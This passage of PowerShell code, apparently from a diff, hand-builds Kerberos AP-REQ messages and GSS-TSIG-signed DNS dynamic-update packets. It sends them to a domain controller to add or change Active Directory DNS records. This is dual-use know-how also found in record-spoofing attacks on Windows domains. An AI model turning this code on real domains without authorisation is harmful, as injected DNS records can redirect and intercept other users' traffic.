System.Collections.Specialized.OrderedDictionary + $packet_KerberosAPREQ.Add("Length",([Byte[]](0x60) + $length)) + $packet_KerberosAPREQ.Add("MechToken_ThisMech",[Byte[]](0x06,0x09,0x2a,0x86,0x48,0x86,0xf7,0x12,0x01,0x02,0x02)) + $packet_KerberosAPREQ.Add("MechToken_TokenID",[Byte[]](0x01,0x00)) + $packet_KerberosAPREQ.Add("APReq_Encoding",[Byte[]](0x6e) + $apreq_length2 + [Byte[]](0x30) + $apreq_length) + $packet_KerberosAPREQ.Add("PVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosAPREQ.Add("PVNO",[Byte[]]0x05) + $packet_KerberosAPREQ.Add("MSGType_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) + $packet_KerberosAPREQ.Add("MSGType",[Byte[]](0x0e)) + $packet_KerberosAPREQ.Add("Padding_Encoding",[Byte[]](0xa2,0x07,0x03,0x05)) + $packet_KerberosAPREQ.Add("Padding",[Byte[]](0x00)) + $packet_KerberosAPREQ.Add("APOptions",[Byte[]](0x20,0x00,0x00,0x00)) + $packet_KerberosAPREQ.Add("Ticket_Encoding",[Byte[]](0xa3) + $ticket_length7 + [Byte[]](0x61) + $ticket_length6 + [Byte[]](0x30) + $ticket_length5) + $packet_KerberosAPREQ.Add("Ticket_TKTVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosAPREQ.Add("Ticket_TKTVNO",[Byte[]](0x05)) + $packet_KerberosAPREQ.Add("Ticket_Realm_Encoding",[Byte[]](0xa1) + $realm_length2 + [Byte[]](0x1b) + $realm_length) + $packet_KerberosAPREQ.Add("Ticket_Realm",$realm) + $packet_KerberosAPREQ.Add("Ticket_SName_Encoding",[Byte[]](0xa2) + $sname_length4 + [Byte[]](0x30) + $sname_length3) + $packet_KerberosAPREQ.Add("Ticket_SName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosAPREQ.Add("Ticket_SName_NameType",[Byte[]](0x01)) + $packet_KerberosAPREQ.Add("Ticket_SName_NameString_Encoding",[Byte[]](0xa1) + $sname_length2 + [Byte[]](0x30) + $sname_length) + $packet_KerberosAPREQ.Add("Ticket_SName_NameString0_Encoding",[Byte[]](0x1b,0x03)) + $packet_KerberosAPREQ.Add("Ticket_SName_NameString0",[Byte[]](0x44,0x4e,0x53)) + $packet_KerberosAPREQ.Add("Ticket_SName_NameString1_Encoding",[Byte[]](0x1b) + $namestring1_length) + $packet_KerberosAPREQ.Add("Ticket_SName_NameString1",$spn) + $packet_KerberosAPREQ.Add("Ticket_EncPart_Encoding",[Byte[]](0xa3) + $ticket_length4 + [Byte[]](0x30) + $ticket_length3) + $packet_KerberosAPREQ.Add("Ticket_EncPart_EType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosAPREQ.Add("Ticket_EncPart_EType",[Byte[]](0x12)) + $packet_KerberosAPREQ.Add("Ticket_EncPart_KVNO_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) + $packet_KerberosAPREQ.Add("Ticket_EncPart_KVNO",$kvno) + $packet_KerberosAPREQ.Add("Ticket_EncPart_Cipher_Encoding",[Byte[]](0xa2) + $ticket_length2 + [Byte[]](0x04) + $ticket_length) + $packet_KerberosAPREQ.Add("Ticket_EncPart_Cipher",$ticket) + $packet_KerberosAPREQ.Add("Authenticator_Encoding",[Byte[]](0xa4) + $authenticator_length4 + [Byte[]](0x30) + $authenticator_length3) + $packet_KerberosAPREQ.Add("Authenticator_EType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosAPREQ.Add("Authenticator_EType",[Byte[]](0x12)) + $packet_KerberosAPREQ.Add("Authenticator_Cipher_Encoding",[Byte[]](0xa2) + $authenticator_length2 + [Byte[]](0x04) + $authenticator_length) + $packet_KerberosAPREQ.Add("Authenticator_Cipher",$authenticator) + + return $packet_KerberosAPREQ + } + + function Unprotect-KerberosASREP + { + param([Byte[]]$ke_key,[Byte[]]$encrypted_data) + + $final_block_length = [Math]::Truncate($encrypted_data.Count % 16) + [Byte[]]$final_block = $encrypted_data[($encrypted_data.Count - $final_block_length)..$encrypted_data.Count] + [Byte[]]$penultimate_block = $encrypted_data[($encrypted_data.Count - $final_block_length - 16)..($encrypted_data.Count - $final_block_length - 1)] + $AES = New-Object "System.Security.Cryptography.AesManaged" + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + $AES.IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $AES.KeySize = 256 + $AES.Key = $ke_key + $AES_decryptor = $AES.CreateDecryptor() + $penultimate_block_cleartext = $AES_decryptor.TransformFinalBlock($penultimate_block,0,$penultimate_block.Length) + [Byte[]]$final_block_padding = $penultimate_block_cleartext[$final_block_length..$penultimate_block_cleartext.Count] + $final_block += $final_block_padding + [Byte[]]$cts_encrypted_data = $encrypted_data[0..($encrypted_data.Count - $final_block_length - 17)] + $final_block + $penultimate_block + [Byte[]]$cleartext = $AES_decryptor.TransformFinalBlock($cts_encrypted_data,0,$cts_encrypted_data.Length) + + return $cleartext + } + + function New-KerberosPACTimestamp + { + param([Byte[]]$ke_key) + + [Byte[]]$timestamp = Get-KerberosTimestampUTC + [String]$confounder = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + [Byte[]]$confounder = $confounder.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + [Byte[]]$PAC_Timestamp = $confounder + + 0x30,0x1a,0xa0,0x11,0x18,0x0f + + $timestamp + + 0xa1,0x05,0x02,0x03,0x01,0x70,0x16 + + return $PAC_Timestamp + } + + function New-KerberosAuthenticator + { + param([Byte[]]$realm,[Byte[]]$username,[Byte[]]$subkey,[Byte[]]$sequence_number) + + $parameter_length = $realm.Count + $username.Count + $subkey.Count + [Byte[]]$subkey_length = Get-ASN1LengthArray $subkey.Count + [Byte[]]$subkey_length2 = Get-ASN1LengthArray ($subkey.Count + $subkey_length.Count + 1) + [Byte[]]$subkey_length3 = Get-ASN1LengthArray ($subkey.Count + $subkey_length.Count + $subkey_length2.Count + 7) + [Byte[]]$subkey_length4 = Get-ASN1LengthArray ($subkey.Count + $subkey_length.Count + $subkey_length2.Count + $subkey_length3.Count + 8) + [Byte[]]$cname_length = Get-ASN1LengthArray $username.Count + [Byte[]]$cname_length2 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + 1) + [Byte[]]$cname_length3 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + 2) + [Byte[]]$cname_length4 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + 8) + [Byte[]]$cname_length5 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + 9) + [Byte[]]$crealm_length = Get-ASN1LengthArray $realm.Count + [Byte[]]$crealm_length2 = Get-ASN1LengthArray ($realm.Count + $crealm_length.Count + 1) + [Byte[]]$authenticator_length = Get-ASN1LengthArrayLong ($parameter_length + 99 + $crealm_length.Count + $crealm_length2.Count + + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + $cname_length5.Count + $subkey_length.Count + + $subkey_length2.Count + $subkey_length3.Count + $subkey_length4.Count) + [Byte[]]$authenticator_length2 = Get-ASN1LengthArrayLong ($parameter_length + 100 + $crealm_length.Count + $crealm_length2.Count + + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + $cname_length5.Count + $subkey_length.Count + + $subkey_length2.Count + $subkey_length3.Count + $subkey_length4.Count + $authenticator_length.Count) + + $packet_KerberosAuthenticator = New-Object System.Collections.Specialized.OrderedDictionary + $packet_KerberosAuthenticator.Add("Encoding",[Byte[]](0x62) + $authenticator_length2 + [Byte[]](0x30) + $authenticator_length) + $packet_KerberosAuthenticator.Add("AuthenticatorVNO_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosAuthenticator.Add("AuthenticatorVNO",[Byte[]](0x05)) + $packet_KerberosAuthenticator.Add("CRealm_Encoding",[Byte[]](0xa1) + $crealm_length2 + [Byte[]](0x1b) + $crealm_length) + $packet_KerberosAuthenticator.Add("CRealm",$realm) + $packet_KerberosAuthenticator.Add("CName_Encoding",[Byte[]](0xa2) + $cname_length5 + [Byte[]](0x30) + $cname_length4) + $packet_KerberosAuthenticator.Add("CName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosAuthenticator.Add("CName_NameType",[Byte[]](0x01)) + $packet_KerberosAuthenticator.Add("CName_CNameString_Encoding",[Byte[]](0xa1) + $cname_length3 + [Byte[]](0x30) + + $cname_length2 + [Byte[]](0x1b) + $cname_length) + $packet_KerberosAuthenticator.Add("CName_CNameString",$username) + $packet_KerberosAuthenticator.Add("CKSum_Encoding",[Byte[]](0xa3,0x25,0x30,0x23,0xa0,0x05,0x02,0x03)) + $packet_KerberosAuthenticator.Add("CKSum_CKSumType",[Byte[]](0x00,0x80,0x03)) + $packet_KerberosAuthenticator.Add("CKSum_Length_Encoding",[Byte[]](0xa1,0x1a,0x04,0x18)) + $packet_KerberosAuthenticator.Add("CKSum_Length",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_KerberosAuthenticator.Add("CKSum_Bnd",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_KerberosAuthenticator.Add("CKSum_Flags",[Byte[]](0x36,0x01,0x00,0x00)) + $packet_KerberosAuthenticator.Add("CKSum_CUSec_Encoding",[Byte[]](0xa4,0x05,0x02,0x03)) + $packet_KerberosAuthenticator.Add("CKSum_CUSec",(Get-KerberosMicrosecond)) + $packet_KerberosAuthenticator.Add("CKSum_CTime_Encoding",[Byte[]](0xa5,0x11,0x18,0x0f)) + $packet_KerberosAuthenticator.Add("CKSum_CTime",(Get-KerberosTimestampUTC)) + $packet_KerberosAuthenticator.Add("CKSum_Subkey_Encoding",[Byte[]](0xa6) + $subkey_length4 + [Byte[]](0x30) + $subkey_length3) + $packet_KerberosAuthenticator.Add("CKSum_Subkey_KeyType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosAuthenticator.Add("CKSum_Subkey_KeyType",[Byte[]](0x12)) + $packet_KerberosAuthenticator.Add("CKSum_Subkey_KeyValue_Encoding",[Byte[]](0xa1) + $subkey_length2 + [Byte[]](0x04) + $subkey_length) + $packet_KerberosAuthenticator.Add("CKSum_Subkey_KeyValue",$subkey) + $packet_KerberosAuthenticator.Add("CKSum_SEQNumber_Encoding",[Byte[]](0xa7,0x06,0x02,0x04)) + $packet_KerberosAuthenticator.Add("CKSum_SEQNumber",$sequence_number) + + return $packet_KerberosAuthenticator + } + + function Get-KerberosTimestampUTC + { + [DateTime]$timestamp = (Get-Date).ToUniversalTime() + [String]$timestamp = ("{0:u}" -f $timestamp) -replace "-","" -replace " ","" -replace ":","" + [Byte[]]$timestamp = [System.Text.Encoding]::UTF8.GetBytes($timestamp) + + return $timestamp + } + + function Get-KerberosMicrosecond + { + [Int]$microseconds = Get-Date -Format ffffff + [Byte[]]$microseconds = [System.Bitconverter]::GetBytes($microseconds)[0..2] + + return $microseconds + } + + function Protect-KerberosAES256CTS + { + param([Byte[]]$ke_key,[Byte[]]$data) + + $AES = New-Object "System.Security.Cryptography.AesManaged" + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $AES.IV = $IV + $AES.KeySize = 256 + $AES.Key = $ke_key + $AES_encryptor = $AES.CreateEncryptor() + $data_encrypted = $AES_encryptor.TransformFinalBlock($data,0,$data.Length) + $block_count = [Math]::Ceiling($data_encrypted.Count / 16) + + if($block_count -gt 2) + { + $data_encrypted = $data_encrypted[0..($data_encrypted.Count - 33)] + $data_encrypted[($data_encrypted.Count - 16)..$data_encrypted.Count] + + $data_encrypted[($data_encrypted.Count - 32)..($data_encrypted.Count - 17)] + } + elseif($blocks -eq 2) + { + $data_encrypted = $data_encrypted[16..31] + $data_encrypted[0..15] + } + + $final_block_length = [Math]::Truncate($data.Count % 16) + + if($final_block_length -ne 0) + { + $remove_count = 16 - $final_block_length + $data_encrypted = $data_encrypted[0..($data_encrypted.Count - $remove_count - 1)] + } + + return $data_encrypted + } + # TCPClient Kerberos end + + function Get-KerberosHMACSHA1 + { + param([Byte[]]$key,[Byte[]]$data) + + $HMAC_SHA1 = New-Object System.Security.Cryptography.HMACSHA1 + $HMAC_SHA1.key = $key + $hash = $HMAC_SHA1.ComputeHash($data) + $hash = $hash[0..11] + + return $hash + } + + function Get-ASN1LengthArray + { + param([Int]$length) + + [Byte[]]$asn1 = [System.BitConverter]::GetBytes($length) + + if($asn1[1] -eq 0) + { + $asn1 = $asn1[0] + } + else + { + $asn1 = $asn1[1,0] + } + + return $asn1 + } + + function Get-ASN1LengthArrayLong + { + param([Int]$length) + + [Byte[]]$asn1 = [System.BitConverter]::GetBytes($length) + + if($asn1[1] -eq 0) + { + $asn1 = $asn1[0] + $asn1 = [Byte[]]0x81 + $asn1 + } + else + { + $asn1 = $asn1[1,0] + $asn1 = [Byte[]]0x82 + $asn1 + } + + return $asn1 + } + + function New-RandomByteArray + { + param([Int]$length,[Int]$minimum=1,[Int]$maximum=255) + + [String]$random = [String](1..$length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $minimum -Maximum $maximum)}) + [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + return $random + } + + function New-DNSNameArray + { + param([String]$name) + + $character_array = $name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($name.Substring($name_start)) + } + + return $name_array + } + + function New-PacketDNSQuery + { + param([Byte[]]$name,[byte[]]$type,[Byte[]]$apreq) + + [Byte[]]$transaction_id = New-RandomByteArray 2 + + if($apreq) + { + $mechtoken_length = Get-ASN1LengthArrayLong ($apreq.Count) + $mechtoken_length2 = Get-ASN1LengthArrayLong ($apreq.Count + $mechtoken_length.Count + 1) + $innercontexttoken_length = Get-ASN1LengthArrayLong ($apreq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + 17) # 31 + $innercontexttoken_length2 = Get-ASN1LengthArrayLong ($apreq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + + $innercontexttoken_length.Count + 18) + $spnego_length = Get-ASN1LengthArrayLong ($apreq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + + $innercontexttoken_length.Count + $innercontexttoken_length2.Count + 27) + $grouped_length = $apreq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + $innercontexttoken_length.Count + + $innercontexttoken_length2.Count + $spnego_length.Count + 25 + $key_size = [System.BitConverter]::GetBytes($grouped_length + 3)[1,0] + $rd_length = [System.BitConverter]::GetBytes($grouped_length + $key_size.Count + 27)[1,0] + $inception = [int64](([datetime]::UtcNow)-(Get-Date "1/1/1970")).TotalSeconds + $inception = [System.BitConverter]::GetBytes($inception) + $inception = $inception[3..0] + } + + if($apreq) + { + [Byte[]]$length = [System.BitConverter]::GetBytes($grouped_length + $name.Count + 57)[1,0] + } + else + { + [Byte[]]$length = [System.BitConverter]::GetBytes($name.Count + 16)[1,0] + } + + $packet_DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary + $packet_DNSQuery.Add("Length",$length) + $packet_DNSQuery.Add("TransactionID",$transaction_ID) + $packet_DNSQuery.Add("Flags",[Byte[]](0x00,0x00)) + $packet_DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) + $packet_DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $packet_DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + + if($apreq) + { + $packet_DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x01)) + } + else + { + $packet_DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + } + + $packet_DNSQuery.Add("Queries_Name",$name) + $packet_DNSQuery.Add("Queries_Type",$type) + $packet_DNSQuery.Add("Queries_Class",[Byte[]](0x00,0xff)) + + if($apreq) + { + $packet_DNSQuery.Add("Queries_AdditionalRecords_Name",[Byte[]](0xc0,0x0c)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_Type",[Byte[]](0x00,0xf9)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_Class",[Byte[]](0x00,0xff)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_TTL",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RDLength",$rd_length) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_Algorithm",[Byte[]](0x08,0x67,0x73,0x73,0x2d,0x74,0x73,0x69,0x67,0x00)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_Inception",$inception) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_Expiration",$inception) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_Mode",[Byte[]](0x00,0x03)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_Error",[Byte[]](0x00,0x00)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_KeySize",$key_size) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_SPNego_Encoding",[Byte[]](0x60) + $spnego_length) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_SPNego_ThisMech",[Byte[]](0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_Encoding",[Byte[]](0xa0) + $innercontexttoken_length2 + [Byte[]](0x30) + + $innercontexttoken_length) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechTypes_Encoding",[Byte[]](0xa0,0x0d,0x30,0x0b)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechType0",[Byte[]](0x06,0x09,0x2a,0x86,0x48,0x86,0xf7,0x12,0x01,0x02,0x02)) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechToken_Encoding",[Byte[]](0xa2) + $mechtoken_length2 + [Byte[]](0x04) + + $mechtoken_length) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechToken_Token",$apreq) + $packet_DNSQuery.Add("Queries_AdditionalRecords_RData_OtherSize",[Byte[]](0x00,0x00)) + } + + return $packet_DNSQuery + } + + function New-PacketDNSUpdate + { + param([Byte[]]$transaction_ID,[String]$zone,[String]$name,[String]$type,[Int]$TTL,[Int]$preference,[Int]$priority,[Int]$weight,[Int]$port,[String]$data,[Byte[]]$time_signed,[Byte[]]$tkey_name,[Byte[]]$MAC) + + if($data) + { + $add = $true + [Byte[]]$class = 0x00,0x01 + } + else + { + [Byte[]]$class = 0x00,0xff + $TTL = 0 + } + + switch ($type) + { + + 'A' + { + [Byte[]]$type = 0x00,0x01 + + if($data -and [Bool]($data -as [System.Net.IPAddress])) + { + [Byte[]]$data = ([System.Net.IPAddress][String]([System.Net.IPAddress]$data)).GetAddressBytes() + } + elseif($data) + { + [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($data) + } + + } + + 'AAAA' + { + [Byte[]]$type = 0x00,0x1c + + if($data -and [Bool]($data -as [System.Net.IPAddress])) + { + [Byte[]]$data = ([System.Net.IPAddress][String]([System.Net.IPAddress]$data)).GetAddressBytes() + } + elseif($data) + { + [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($data) + } + + } + + 'CNAME' + { + [Byte[]]$type = 0x00,0x05 + + if($data -and [Bool]($data -as [System.Net.IPAddress])) + { + [Byte[]]$data = (New-DNSNameArray $data) + 0x00 + } + elseif($data) + { + [Byte[]]$data = (New-DNSNameArray ($data -replace ('.' + $zone),'')) + 0xc0,0x0c + } + + } + + 'MX' + { + $MX = $true + [Byte[]]$type = 0x00,0x0f + + if($data) + { + $extra_length = 2 + [Byte[]]$preference = [System.Bitconverter]::GetBytes($preference)[1,0] + } + + if($data -and [Bool]($data -as [System.Net.IPAddress])) + { + [Byte[]]$data = (New-DNSNameArray $data) + 0x00 + } + elseif($data) + { + [Byte[]]$data = (New-DNSNameArray ($data -replace ('.' + $zone),'')) + 0xc0,0x0c + } + + } + + 'PTR' + { + [Byte[]]$type = 0x00,0x0c + + if($data) + { + [Byte[]]$data = (New-DNSNameArray $data) + 0x00 + } + + } + + 'SRV' + { + $SRV = $true + [Byte[]]$type = 0x00,0x21 + + if($data) + { + [Byte[]]$priority = [System.Bitconverter]::GetBytes($priority)[1,0] + [Byte[]]$weight = [System.Bitconverter]::GetBytes($weight)[1,0] + [Byte[]]$port = [System.Bitconverter]::GetBytes($port)[1,0] + $extra_length = 6 + [Byte[]]$data = (New-DNSNameArray $data) + 0x00 + } + + } + + 'TXT' + { + $TXT = $true + [Byte[]]$type = 0x00,0x10 + [Byte[]]$TXT_length = [System.BitConverter]::GetBytes($data.Length)[0] + + if($data) + { + $extra_length = 1 + [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($data) + } + + } + + } + + if($name -eq $zone) + { + [Byte[]]$name = 0xc0,0x0c + } + else + { + [Byte[]]$name = (New-DNSNameArray ($name -replace ('.' + $zone),'')) + 0xc0,0x0c + #[Byte[]]$name = (New-DNSNameArray $name) + 0x00 + } + + [Byte[]]$zone = (New-DNSNameArray $zone) + 0x00 + [Byte[]]$TTL = [System.Bitconverter]::GetBytes($TTL)[3..0] + [Byte[]]$data_length = [System.BitConverter]::GetBytes($data.Length + $extra_length)[1,0] + + if($MAC) + { + [Byte[]]$length = [System.BitConverter]::GetBytes($zone.Count + $name.Count + $data.Length + $tkey_name.Count + $MAC.Count + 62 + $extra_length)[1,0] + } + elseif(!$tkey_name) + { + [Byte[]]$length = [System.BitConverter]::GetBytes($zone.Count + $name.Count + $data.Length + 26 + $extra_length)[1,0] + } + + $packet_DNSUpdate = New-Object System.Collections.Specialized.OrderedDictionary + + if(!$tkey_name -or $MAC) + { + $packet_DNSUpdate.Add("Length",$length) + } + + $packet_DNSUpdate.Add("TransactionID",$transaction_ID) + $packet_DNSUpdate.Add("Flags",[Byte[]](0x28,0x00)) + $packet_DNSUpdate.Add("Zones",[Byte[]](0x00,0x01)) + $packet_DNSUpdate.Add("Prerequisites",[Byte[]](0x00,0x00)) + $packet_DNSUpdate.Add("Updates",[Byte[]](0x00,0x01)) + + if($MAC) + { + $packet_DNSUpdate.Add("AdditionalRRs",[Byte[]](0x00,0x01)) + } + else + { + $packet_DNSUpdate.Add("AdditiionalRRs",[Byte[]](0x00,0x00)) + } + + $packet_DNSUpdate.Add("Zone_Name",$zone) + $packet_DNSUpdate.Add("Zone_Type",[Byte[]](0x00,0x06)) + $packet_DNSUpdate.Add("Zone_Class",[Byte[]](0x00,0x01)) + $packet_DNSUpdate.Add("Updates_Name",$name) + $packet_DNSUpdate.Add("Updates_Type",$type) + $packet_DNSUpdate.Add("Updates_Class",$class) + $packet_DNSUpdate.Add("Updates_TTL",$TTL) + $packet_DNSUpdate.Add("Updates_DataLength",$data_length) + + if($MX) + { + $packet_DNSUpdate.Add("Updates_TXTLength",$preference) + } + + if($TXT -and $add) + { + $packet_DNSUpdate.Add("Updates_TXTLength",$TXT_length) + } + + if($SRV -and $add) + { + $packet_DNSUpdate.Add("Updates_Priority",$priority) + $packet_DNSUpdate.Add("Updates_Weight",$weight) + $packet_DNSUpdate.Add("Updates_Port",$port) + } + + if($add) + { + $packet_DNSUpdate.Add("Updates_Address",$data) + } + + if($tkey_name) + { + $packet_DNSUpdate.Add("AdditionalRecords_Name",$tkey_name) + + if($MAC) + { + $packet_DNSUpdate.Add("AdditionalRecords_Type",[Byte[]](0x00,0xfa)) + } + + $packet_DNSUpdate.Add("AdditionalRecords_Class",[Byte[]](0x00,0xff)) + $packet_DNSUpdate.Add("AdditionalRecords_TTL",[Byte[]](0x00,0x00,0x00,0x00)) + + if($MAC) + { + $packet_DNSUpdate.Add("AdditionalRecords_DataLength",[Byte[]](0x00,0x36)) + } + + $packet_DNSUpdate.Add("AdditionalRecords_AlgorithmName",[Byte[]](0x08,0x67,0x73,0x73,0x2d,0x74,0x73,0x69,0x67,0x00)) + $packet_DNSUpdate.Add("AdditionalRecords_TimeSigned",$time_signed) + $packet_DNSUpdate.Add("AdditionalRecords_Fudge",[Byte[]](0x01,0x2c)) + + if($MAC) + { + $packet_DNSUpdate.Add("AdditionalRecords_MACSize",[Byte[]](0x00,0x1c)) + $packet_DNSUpdate.Add("AdditionalRecords_MAC",$MAC) + $packet_DNSUpdate.Add("AdditionalRecords_OriginalID",$transaction_ID) + } + + $packet_DNSUpdate.Add("AdditionalRecords_Error",[Byte[]](0x00,0x00)) + $packet_DNSUpdate.Add("AdditionalRecords_OtherLength",[Byte[]](0x00,0x00)) + } + + return $packet_DNSUpdate + } + + function New-PacketDNSUpdateMAC + { + param([Byte[]]$flags,[Byte[]]$sequence_number,[Byte[]]$checksum) + + $packet_DNSUpdateMAC = New-Object System.Collections.Specialized.OrderedDictionary + $packet_DNSUpdateMAC.Add("DNSUpdateMAC_TokenID",[Byte[]](0x04,0x04)) + $packet_DNSUpdateMAC.Add("DNSUpdateMAC_Flags",$flags) + $packet_DNSUpdateMAC.Add("DNSUpdateMAC_Filler",[Byte[]](0xff,0xff,0xff,0xff,0xff)) + $packet_DNSUpdateMAC.Add("DNSUpdateMAC_SequenceNumber",[Byte[]](0x00,0x00,0x00,0x00) + $sequence_number) + + if($checksum) + { + $packet_DNSUpdateMAC.Add("DNSUpdateMAC_Checksum",$checksum) + } + + return $packet_DNSUpdateMAC + } + + function Get-DNSUpdateResponseStatus + { + param([Byte[]]$DNS_client_receive) + + $DNS_response_flags = [System.BitConverter]::ToString($DNS_client_receive[4..5]) + $DNS_response_flags = $DNS_response_flags -replace "-","" + + switch ($DNS_response_flags) + { + 'A800' {$DNS_update_response_status = "[+] DNS update successful"} + 'A801' {$DNS_update_response_status = ("[-] format error 0x" + $DNS_response_flags)} + 'A802' {$DNS_update_response_status = ("[-] failed to complete 0x" + $DNS_response_flags)} + 'A804' {$DNS_update_response_status = ("[-] not implemented 0x" + $DNS_response_flags)} + 'A805' {$DNS_update_response_status = ("[-] update refused 0x" + $DNS_response_flags)} + Default {$DNS_update_response_status = ("[-] DNS update was not successful 0x" + $DNS_response_flags)} + } + + return $DNS_update_response_status + } + + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 + + if($Security -ne 'Secure') + { + + try + { + $DNS_client.Connect($DomainController,"53") + } + catch + { + Write-Output "$DomainController did not respond on TCP port 53" + } + + if($DNS_client.Connected) + { + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + [Byte[]]$transaction_id = New-RandomByteArray 2 + $packet_DNSUpdate = New-PacketDNSUpdate $transaction_ID $DNSZone $DNSName $DNSType $DNSTTL $DNSPreference $DNSPriority $DNSWeight $DNSPort $DNSData + [Byte[]]$DNSUpdate = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdate + $DNS_client_send = $DNSUpdate + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_update_response_status = Get-DNSUpdateResponseStatus $DNS_client_receive + Write-Output $DNS_update_response_status + $DNS_client.Close() + $DNS_client_stream.Close() + } + + } + + if($Security -eq 'Secure' -or ($Security -eq 'Auto' -and $DNS_update_response_status -like '*0xA805')) + { + $tkey = "6" + ((0..9) | Get-Random -Count 2) + "-ms-7.1-" + ((0..9) | Get-Random -Count 4) + "." + ((0..9) | Get-Random -Count 8) + + "-" + ((0..9) | Get-Random -Count 4) + "-11e7-" + ((0..9) | Get-Random -Count 4) + "-000c296694e0" + $tkey = $tkey -replace " ","" + Write-Verbose "[+] TKEY name $tkey" + [Byte[]]$tkey_name = [System.Text.Encoding]::UTF8.GetBytes($tkey) + $tkey_name = [Byte[]]0x08 + $tkey_name + 0x00 + $tkey_name[9] = 0x06 + $tkey_name[16] = 0x24 + + if($kerberos_tcpclient) + { + $kerberos_client = New-Object System.Net.Sockets.TCPClient + $kerberos_client.Client.ReceiveTimeout = 3000 + $domain_controller = [System.Text.Encoding]::UTF8.GetBytes($DomainController) + $kerberos_username = [System.Text.Encoding]::UTF8.GetBytes($Username) + $kerberos_realm = [System.Text.Encoding]::UTF8.GetBytes($Realm) + + try + { + $kerberos_client.Connect($DomainController,"88") + } + catch + { + Write-Output "$DomainController did not respond on TCP port 88" + } + + } + + if(!$kerberos_tcpclient -or $kerberos_client.Connected) + { + + 